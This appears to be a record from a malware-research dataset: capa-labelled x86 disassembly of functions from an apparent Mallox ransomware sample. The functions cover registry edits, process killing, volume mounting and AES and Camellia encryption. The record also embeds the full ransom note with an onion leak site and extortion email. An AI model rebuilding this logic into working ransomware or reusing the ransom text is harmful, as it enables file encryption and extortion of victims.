joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403843
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 0xc], 0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
je 0x4038af
mov ebx, dword [ebp + 8]
mov edi, ebx
and edi, 0xf
lea eax, [ebx - 2]
and eax, 0xf
mov esi, dword [edx + eax*4]
lea eax, [ebx + 1]
and eax, 0xf
mov ecx, dword [edx + eax*4]
mov edx, ecx
mov eax, ecx
rol edx, 0xe
ror eax, 7
xor edx, eax
shr ecx, 3
xor edx, ecx
mov eax, esi
rol eax, 0xd
mov ecx, esi
rol ecx, 0xf
xor ecx, eax
shr esi, 0xa
xor ecx, esi
lea eax, [ebx - 7]
add edx, ecx
and eax, 0xf
mov ecx, dword [ebp - 8]
add edx, dword [ecx + eax*4]
add dword [ecx + edi*4], edx
mov eax, dword [ecx + edi*4]
mov edi, ebx
mov ecx, dword [ebp - 4]
jmp 0x4038ba
mov edi, dword [ebp + 8]
mov eax, edi
and eax, 0xf
mov eax, dword [edx + eax*4]
mov dword [ebp - 8], eax
mov ebx, edi
push 0xfffffffffffffffc
pop eax
sub eax, edi
not ebx
and eax, 7
and ebx, 7
push 0xfffffffffffffffe
mov dword [ebp - 0xc], ebx
mov esi, dword [ecx + eax*4]
mov edx, esi
pop eax
sub eax, edi
ror edx, 0xb
and eax, 7
push 0xfffffffffffffffd
mov ecx, dword [ecx + eax*4]
mov eax, esi
rol eax, 7
xor edx, eax
mov eax, esi
ror eax, 6
xor edx, eax
pop eax
sub eax, edi
mov edi, dword [ebp - 4]
and eax, 7
push 3
mov eax, dword [edi + eax*4]
mov edi, dword [ebp + 8]
xor eax, ecx
and eax, esi
mov esi, dword [ebp - 4]
xor eax, ecx
add edx, eax
mov eax, dword [ebp + 0xc]
add eax, edi
add edx, dword [eax*4 + 0x427280]
add edx, dword [ebp - 8]
add dword [esi + ebx*4], edx
mov ecx, dword [esi + ebx*4]
pop eax
sub eax, edi
neg edi
push 7
pop ebx
and eax, ebx
and edi, ebx
push 2
add dword [esi + eax*4], ecx
xor eax, eax
mov edi, dword [esi + edi*4]
inc eax
sub eax, dword [ebp + 8]
and eax, ebx
pop ecx
sub ecx, dword [ebp + 8]
and ecx, ebx
mov ebx, dword [ebp - 4]
mov edx, dword [esi + eax*4]
mov esi, edi
ror esi, 0xd
mov eax, edi
rol eax, 0xa
mov ecx, dword [ebx + ecx*4]
xor esi, eax
mov ebx, dword [ebp - 0xc]
mov eax, edi
ror eax, 2
xor esi, eax
mov eax, edx
xor eax, edi
and edx, edi
and ecx, eax
mov eax, dword [ebp - 4]
or ecx, edx
add esi, ecx
pop edi
add dword [eax + ebx*4], esi
pop esi
pop ebx
leave
ret
Function at 0x403da5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
test esi, esi
je 0x403e9e
test edi, edi
je 0x403e9e
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403e9e
lea eax, [ebp - 0x10]
mov dword [ebp - 8], ebx
push eax
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 0x10], ebx
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.ProductName
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x403e95
mov eax, dword [esi]
test eax, eax
je 0x403e21
cmp eax, dword [ebp - 8]
jne 0x403e95
mov eax, dword [ebp - 0x10]
xor ecx, ecx
add eax, 1
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00415646
pop ecx
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x403e95
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
push ecx
call fcn.00413bd0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [edi]
push 0
push 0
push str.ProductName
push dword [ebp - 0xc]
call ebx
test eax, eax
jne 0x403e82
mov ecx, dword [ebp - 8]
cmp dword [esi], eax
je 0x403e72
cmp dword [esi], ecx
jne 0x403e82
push dword [ebp - 0xc]
mov dword [esi], ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
jmp 0x403ea0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [edi]
call fcn.0041562b
pop ecx
jmp 0x403e9e
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
leave
ret

Function at 0x403eaf
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
test edx, edx
je 0x403f1a
test edi, edi
je 0x403f1a
test ebx, ebx
je 0x403f1a
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 2
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
cmp esi, 5
je 0x403f1a
test esi, esi
jne 0x403f11
push 4
push ebx
push 4
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
jmp 0x403f1c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
leave
ret

Function at 0x4041a0
Capabilities:
Create process on windows

Disassembly:
xor eax, eax
push eax
push eax
push ecx
push 0x42a9e0
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
setg al
ret
Function at 0x404aad
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x432d80], 0
mov eax, ecx
push esi
mov dword [ebp - 0x24], eax
jne 0x404b5c
push ebx
push edi
push 0x42fb08
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x20]
push eax
call fcn.00403ffd
xor ebx, ebx
xor edi, edi
pop ecx
mov al, byte [edi + str.Hello_r_n_r_nYour_files_are_encrypted_and_can_not_be_used_r_nWe_have_downloaded_your_confidential_data_and_are_ready_to_publish_it_on_our_blog_r_nTo_return_your_files_in_work_condition_you_need_decryption_tool_r_nFollow_the_instructions_to_decrypt_all_your_data_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nIf_you_want__on_our_site_you_can_decrypt_one_file_for_free._Free_test_decryption_allowed_only_for_not_valuable_file_with_size_less_than_3MB_r_n_r_nHow_to_get_decryption_tool:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_payment_information_and_we_can_make_free_test_decryption_here_r_n6_After_payment__you_will_receive_a_tool_for_decrypting_files__and_we_will_delete_the_data_that_was_taken_from_you_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox.resurrection_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.]
mov byte [ebx + 0x432d88], al
cmp al, 0x7b
jne 0x404b3c
cmp byte [edi + 0x4274c1], 0x69
jne 0x404b3c
cmp byte [edi + 0x4274c2], 0x64
jne 0x404b3c
cmp byte [edi + 0x4274c3], 0x7d
jne 0x404b3c
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 0x20]
push esi
push eax
lea eax, [ebx + 0x432d88]
push eax
call fcn.00415060
dec ebx
add esp, 0xc
add ebx, esi
add edi, 3
inc ebx
inc edi
cmp edi, 0x56e
jb 0x404aeb
push 0x42fb08
mov dword [0x432d80], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x24]
pop edi
pop ebx
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404b9b
push 0
lea eax, [ebp - 0x24]
push eax
push dword [0x432d80]
push 0x432d88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00412408
leave
ret
Function at 0x40530b
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, 0x208
lea eax, [ebp - 0x21c]
push ebx
xor esi, esi
push esi
push eax
call fcn.00413bd0
add esp, 0xc
lea eax, [ebp - 0x21c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov edi, eax
mov dword [ebp - 0x42c], edi
cmp edi, 0xffffffff
je 0x405463
push ebx
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.00413bd0
add esp, 0xc
mov dword [ebp - 0x428], esi
lea eax, [ebp - 0x428]
push eax
push 0x104
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [ebp - 0x428], 1
push 0x5c
pop eax
jne 0x4053db
push 0x43
pop esi
push 0x3a
pop edi
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0xc]
mov word [ebp - 0xc], si
push eax
mov word [ebp - 0xa], di
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x4053d5
inc esi
push 0x5c
pop eax
cmp esi, 0x5a
jle 0x4053a5
mov edi, dword [ebp - 0x42c]
push 0x104
lea eax, [ebp - 0x21c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov ebx, eax
lea eax, [ebp - 0x428]
push eax
push 0x104
lea eax, [ebp - 0x424]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [ebp - 0x428], 1
jne 0x40545b
push 0x43
pop esi
push 0x3a
pop edi
push 0x5c
pop ebx
xor eax, eax
mov word [ebp - 0x14], si
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x14]
mov word [ebp - 0x12], di
push eax
mov word [ebp - 0x10], bx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x405452
inc esi
cmp esi, 0x5a
jle 0x405425
mov edi, dword [ebp - 0x42c]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0x4053db
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
leave
ret
Function at 0x406000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x234], esi
cmp esi, 0xffffffff
je 0x4060b7
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4060b0
push ebx
push edi
push 0xb
mov ebx, 0x427420
pop esi
push dword [ebx]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x40608e
push dword [ebp - 0x228]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x40608e
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
sub esi, 1
jne 0x406055
mov esi, dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40604d
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00412408
leave
ret

Function at 0x4060c4
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00413bd0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x40613a
push esi
push esi
push esi
xor eax, eax
mov dword [ebp - 0x210], esi
push esi
mov word [ebp - 0x206], ax
lea eax, [ebp - 0x210]
push eax
push esi
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x40613a
mov eax, dword [ebp - 0x210]
jmp 0x40613c
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00412408
leave
ret
Function at 0x408110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
xor ecx, ecx
test esi, esi
je 0x408214
push ebx
mov ebx, dword [ebp + 8]
cmp esi, 0x40
jb 0x4081f8
lea eax, [esi - 1]
add eax, ebx
cmp edi, eax
ja 0x40814a
lea eax, [esi - 1]
add eax, edi
cmp eax, ebx
jae 0x4081f8
lea eax, [esi - 1]
add eax, edx
cmp edi, eax
ja 0x408160
lea eax, [esi - 1]
add eax, edi
cmp eax, edx
jae 0x4081f8
mov eax, esi
mov esi, edx
sub esi, ebx
and eax, 0xffffffc0
mov dword [ebp - 4], esi
mov esi, edi
sub esi, ebx
mov dword [ebp - 0x10], eax
lea eax, [ebx + 0x10]
mov dword [ebp - 8], esi
mov ebx, edx
lea esi, [edi + 0x20]
sub ebx, edi
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 4]
nop word [eax + eax]
movups xmm0, xmmword [eax - 0x10]
lea eax, [eax + 0x40]
movups xmm1, xmmword [ecx + edx]
lea esi, [esi + 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x40]
movups xmmword [esi - 0x60], xmm1
movups xmm1, xmmword [ebx + eax - 0x40]
mov ebx, dword [ebp - 8]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x30]
movups xmmword [ebx + eax - 0x40], xmm1
mov ebx, dword [ebp - 0xc]
movups xmm1, xmmword [ebx + esi - 0x40]
mov ebx, dword [ebp - 4]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x20]
movups xmmword [esi - 0x40], xmm1
movups xmm1, xmmword [ecx + edx + 0x30]
add ecx, 0x40
pxor xmm1, xmm0
movups xmmword [esi - 0x30], xmm1
cmp ecx, dword [ebp - 0x10]
jb 0x408190
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
jae 0x408213
sub edx, ebx
lea eax, [ecx + ebx]
sub edi, ebx
sub esi, ecx
mov cl, byte [eax + edx]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
mov byte [eax + edi - 1], cl
sub esi, 1
jne 0x408201
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408470
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
cmp ebx, 0x80
je 0x408493
cmp ebx, 0xc0
je 0x408493
cmp ebx, 0x100
jne 0x4084be
mov esi, dword [0x427b8c]
test esi, esi
je 0x4084be
mov ecx, 0x427b8c
mov eax, dword [esi + 0x1c]
cmp dword [eax], edx
jne 0x4084b4
cmp dword [esi + 8], ebx
jne 0x4084b4
cmp dword [esi + 4], 1
je 0x4084c8
mov esi, dword [ecx + 8]
add ecx, 8
test esi, esi
jne 0x4084a2
mov eax, 0xffffffec
pop edi
pop esi
pop ebx
pop ebp
ret
test esi, esi
je 0x4084be
cmp dword [esi + 0x18], 0x10
jne 0x4084be
test edi, edi
je 0x40851f
mov eax, dword [edi + 0x40]
test eax, eax
je 0x4084f8
mov ecx, 0x24
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4084e2
push dword [edi + 0x40]
call fcn.0041562b
add esp, 4
mov ecx, dword [edi + 0x3c]
test ecx, ecx
je 0x40850d
mov eax, dword [edi]
push ecx
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 0x2c]
call eax
add esp, 4
mov ecx, 0x44
mov eax, edi
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x408514
push 0x44
push 0
push edi
call fcn.00413bd0
mov eax, dword [esi + 0x1c]
add esp, 0xc
mov eax, dword [eax + 0x28]
call eax
mov dword [edi + 0x3c], eax
test eax, eax
jne 0x408545
mov eax, 0xffff9e80
pop edi
pop esi
pop ebx
pop ebp
ret
mov dword [edi], esi
cmp dword [esi + 4], 2
jne 0x40855b
mov dword [edi + 0xc], 0x409150
mov dword [edi + 0x10], 0x409180
test byte [esi + 0x14], 2
jne 0x408570
cmp dword [esi + 8], ebx
je 0x408570
mov eax, 0xffff9f00
pop edi
pop esi
pop ebx
pop ebp
ret
mov dword [edi + 4], ebx
mov dword [edi + 8], 1
mov eax, dword [esi + 0x1c]
push ebx
push dword [ebp + 8]
push dword [edi + 0x3c]
mov eax, dword [eax + 0x20]
call eax
add esp, 0xc
test eax, eax
jne 0x4084c3
mov ecx, edi
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.00408220
Function at 0x4087c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp + 8]
xorps xmm0, xmm0
push ebx
lea ebx, [eax + 0x168]
mov dword [ebp - 0x1c], eax
movups xmmword [ebx], xmm0
push esi
movups xmmword [eax + 0x178], xmm0
push edi
mov edi, 8
mov dword [eax + 0x188], 1
mov dword [eax + 0x148], 0
mov edx, edi
mov dword [eax + 0x14c], 0
mov dword [eax + 0x150], 0
mov dword [eax + 0x154], 0
mov eax, edx
mul edx
movlpd qword [ebp - 0x14], xmm0
mov dword [ebp - 0x18], ecx
bswap eax
bswap edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
mov esi, 0x10
mov edx, ebx
cmp edi, esi
cmovb esi, edi
push esi
push ecx
mov ecx, ebx
call fcn.00408110
mov ecx, dword [ebp - 0x1c]
mov edx, ebx
push ebx
call fcn.004085a0
mov ecx, dword [ebp - 0x18]
add esp, 0xc
add ecx, esi
mov dword [ebp - 0x18], ecx
sub edi, esi
jne 0x408844
mov esi, dword [ebp - 0x1c]
lea edx, [ebp - 0x13]
mov edi, 4
lea eax, [esi + 0x169]
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
xor byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [edx - 4]
xor byte [eax - 4], cl
movzx ecx, byte [edx - 3]
xor byte [eax - 3], cl
movzx ecx, byte [edx - 2]
xor byte [eax - 2], cl
sub edi, 1
jne 0x408884
push ebx
mov edx, ebx
mov ecx, esi
call fcn.004085a0
add esp, 4
lea eax, [ebp - 0x20]
mov edx, ebx
push eax
lea eax, [esi + 0x158]
push eax
push ecx
mov ecx, esi
call fcn.00408db0
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00412408
mov esp, ebp
pop ebp
ret
Function at 0x408be0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
mov dword [eax], 0
mov ecx, dword [edi + 0x148]
mov ebx, ecx
mov eax, dword [edi + 0x14c]
mov edx, dword [edi + 0x150]
mov esi, edx
shld eax, ebx, 3
mov dword [ebp - 0x24], eax
mov eax, dword [edi + 0x154]
shld eax, esi, 3
shl ebx, 3
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x14c]
mov dword [ebp - 0xc], eax
mov eax, ecx
shl esi, 3
or eax, dword [edi + 0x14c]
jne 0x408c78
mov eax, dword [edi + 0x14c]
and edx, 0xf
or edx, 0
mov dword [ebp - 0xc], eax
je 0x408c78
lea edx, [edi + 0x178]
mov ecx, edi
push edx
call fcn.004085a0
mov eax, dword [edi + 0x14c]
add esp, 4
mov ecx, dword [edi + 0x148]
mov dword [ebp - 0xc], eax
and ecx, 0xf
or ecx, 0
je 0x408c91
lea edx, [edi + 0x178]
mov ecx, edi
push edx
call fcn.004085a0
add esp, 4
mov edx, dword [ebp - 0x20]
mov eax, dword [edi + 0x158]
mov ecx, dword [edi + 0x15c]
mov dword [edx], eax
mov eax, ebx
mov dword [edx + 4], ecx
mov edx, dword [ebp - 0x24]
or eax, edx
mov ecx, dword [ebp - 0x1c]
jne 0x408cb7
mov eax, esi
or eax, ecx
je 0x408d2a
bswap esi
bswap edx
bswap ecx
bswap ebx
mov dword [ebp - 0x14], esi
lea eax, [edi + 0x179]
mov dword [ebp - 0x10], edx
mov esi, 4
mov dword [ebp - 0x18], ecx
lea edx, [ebp - 0x17]
mov dword [ebp - 0xc], ebx
nop dword [eax]
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
xor byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [edx - 4]
xor byte [eax - 4], cl
movzx ecx, byte [edx - 3]
xor byte [eax - 3], cl
movzx ecx, byte [edx - 2]
xor byte [eax - 2], cl
sub esi, 1
jne 0x408ce0
lea esi, [edi + 0x178]
mov ecx, edi
push esi
mov edx, esi
call fcn.004085a0
mov edx, dword [ebp - 0x20]
add esp, 4
mov ecx, edx
push 8
push esi
call fcn.00408110
add esp, 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
mov esp, ebp
pop ebp
ret
Function at 0x409360
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [edx]
movups xmmword [ecx], xmm0
movups xmm2, xmmword [ecx]
aeskeygenassist xmm0, xmm2, 1
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm2
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm0
movaps xmm3, xmm2
pxor xmm3, xmm1
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 2
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm3
movups xmmword [ecx + 0x10], xmm3
pslldq xmm3, 4
movaps xmm1, xmm3
pslldq xmm3, 4
pxor xmm1, xmm0
movaps xmm2, xmm3
pxor xmm2, xmm1
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 4
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm2
movups xmmword [ecx + 0x20], xmm2
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm0
movaps xmm3, xmm2
pxor xmm3, xmm1
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 8
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm3
movups xmmword [ecx + 0x30], xmm3
pslldq xmm3, 4
movaps xmm1, xmm3
pslldq xmm3, 4
pxor xmm1, xmm0
movaps xmm2, xmm3
pxor xmm2, xmm1
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x10
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm2
movups xmmword [ecx + 0x40], xmm2
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm0
movaps xmm3, xmm2
pxor xmm3, xmm1
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x20
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm3
movups xmmword [ecx + 0x50], xmm3
pslldq xmm3, 4
movaps xmm1, xmm3
pslldq xmm3, 4
pxor xmm1, xmm0
movaps xmm2, xmm3
pxor xmm2, xmm1
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x40
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm2
movups xmmword [ecx + 0x60], xmm2
pslldq xmm2, 4
movaps xmm1, xmm2
pxor xmm1, xmm0
pslldq xmm2, 4
movaps xmm3, xmm2
pslldq xmm2, 4
pxor xmm3, xmm1
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x80
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm3
movups xmmword [ecx + 0x70], xmm3
pslldq xmm3, 4
movaps xmm1, xmm3
pslldq xmm3, 4
pxor xmm1, xmm0
movaps xmm2, xmm3
pxor xmm2, xmm1
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x1b
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm2
movups xmmword [ecx + 0x80], xmm2
pslldq xmm2, 4
movaps xmm1, xmm2
pslldq xmm2, 4
pxor xmm1, xmm0
movaps xmm3, xmm2
pxor xmm3, xmm1
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x36
pshufd xmm0, xmm0, 0xff
pxor xmm0, xmm3
movups xmmword [ecx + 0x90], xmm3
pslldq xmm3, 4
movaps xmm1, xmm3
pslldq xmm3, 4
pxor xmm1, xmm0
movaps xmm0, xmm3
pxor xmm0, xmm1
pslldq xmm3, 4
pxor xmm0, xmm3
movups xmmword [ecx + 0xa0], xmm0
ret
Function at 0x40e5a0
Capabilities:
Encrypt data using camellia

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ecx]
mov ecx, dword [ecx + 4]
xor ecx, dword [edx + 4]
mov eax, ecx
xor ebx, dword [edx]
shr eax, 0x18
push esi
movzx esi, byte [eax + 0x429910]
mov eax, ecx
shr eax, 0x10
movzx eax, al
shl esi, 8
movzx eax, byte [eax + 0x429810]
or esi, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + 0x429610]
or esi, eax
movzx eax, cl
shl esi, 8
movzx eax, byte [eax + 0x429710]
or esi, eax
mov eax, ebx
shr eax, 0x18
mov edx, esi
rol edx, 8
movzx ecx, byte [eax + 0x429710]
mov eax, ebx
shr eax, 0x10
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + 0x429910]
or ecx, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + 0x429810]
or ecx, eax
movzx eax, bl
shl ecx, 8
movzx eax, byte [eax + 0x429610]
or ecx, eax
xor edx, ecx
mov ecx, dword [ebp + 8]
mov eax, edx
rol eax, 0x10
xor esi, eax
mov eax, esi
ror eax, 8
xor edx, eax
mov eax, edx
ror eax, 8
xor eax, dword [ecx]
xor eax, esi
xor dword [ecx + 4], edx
pop esi
mov dword [ecx], eax
pop ebx
pop ebp
ret